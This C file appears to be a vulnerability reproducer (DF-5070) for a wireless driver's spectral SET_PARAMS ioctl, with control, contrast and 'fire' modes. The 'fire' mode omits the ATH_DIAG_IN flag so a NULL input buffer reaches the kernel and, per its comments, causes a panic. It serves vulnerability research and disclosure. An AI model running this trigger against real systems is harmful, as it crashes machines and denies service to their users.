DF-5070 / df5070_trigger.c
/* DF-5070 trigger: drive the spectral SET_PARAMS sink. * * control <dev> - SET_PARAMS (7) WITH ATH_DIAG_IN, 64B of 0xff -> 0 * contrast <dev> - ENABLE_AT_RESET (8), in_size=4, NO flag -> EINVAL * fire <dev> - SET_PARAMS (7), in_size=64, NO flag -> PANIC * * The fire call passes the :233 size check (ad_in_size is an independent * struct field the user fully controls) while never setting ATH_DIAG_IN, * so indata stays NULL exactly as in if_ath_spectral.c:184+197. */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> struct df5070_diag { char ad_name[16]; unsigned short ad_id; #define ATH_DIAG_DYN 0x8000 #define ATH_DIAG_IN 0x4000 #define ATH_DIAG_ID 0x0fff unsigned short ad_in_size; char *ad_in_data; char *ad_out_data; unsigned int ad_out_size; }; #define DF5070_IOCTL _IOWR('D', 70, struct df5070_diag) #define SPECTRAL_CONTROL_SET_PARAMS 7 #define SPECTRAL_CONTROL_ENABLE_AT_RESET 8 struct sp { unsigned short ss_fft_period; unsigned short ss_period; unsigned short ss_count; unsigned short ss_short_report; unsigned char radar_bin_thresh_sel; unsigned short ss_spectral_pri; signed char ss_nf_cal[6]; signed char ss_nf_pwr[6]; int ss_nf_temp_data; int ss_enabled; int ss_active; }; int main(int argc, char **argv) { struct df5070_diag ad; char inbuf[64]; int fd, rc; if (argc < 3) { fprintf(stderr, "usage: %s control|contrast|fire <device>\n", argv[0]); exit(2); } printf("user-side sizeof(HAL_SPECTRAL_PARAM)=%zu " "(sizeof(struct df5070_diag)=%zu)\n", sizeof(struct sp), sizeof(struct df5070_diag)); memset(&ad, 0, sizeof(ad)); memset(inbuf, 0xff, sizeof(inbuf)); /* NOVAL fields -> no RMW */ if (strcmp(argv[1], "control") == 0) { ad.ad_id = SPECTRAL_CONTROL_SET_PARAMS | ATH_DIAG_IN; ad.ad_in_size = 64; /* >= sizeof(HAL_SPECTRAL_PARAM) */ ad.ad_in_data = inbuf; } else if (strcmp(argv[1], "contrast") == 0) { ad.ad_id = SPECTRAL_CONTROL_ENABLE_AT_RESET; /* no IN flag */ ad.ad_in_size = 4; /* passes the :256 size check */ } else if (strcmp(argv[1], "fire") == 0) { ad.ad_id = SPECTRAL_CONTROL_SET_PARAMS; /* no IN flag */ ad.ad_in_size = 64; /* passes the :233 size check */ } else { fprintf(stderr, "bad mode\n"); exit(2); } fd = open(argv[2], O_RDWR); if (fd < 0) { perror("open"); exit(1); } rc = ioctl(fd, DF5070_IOCTL, &ad); printf("%s: ad_id=0x%04x (id=%u, flags %s%s) ad_in_size=%u -> " "ioctl rc=%d errno=%d(%s)\n", argv[1], ad.ad_id, ad.ad_id & ATH_DIAG_ID, (ad.ad_id & ATH_DIAG_IN) ? "+IN " : "-in ", (ad.ad_id & ATH_DIAG_DYN) ? "+DYN" : "-dyn", ad.ad_in_size, rc, rc < 0 ? errno : 0, rc < 0 ? strerror(errno) : "ok"); if (rc == 0 && strcmp(argv[1], "fire") == 0) printf("fire: UNEXPECTED SUCCESS (kernel returned without " "faulting)\n"); return (0); } |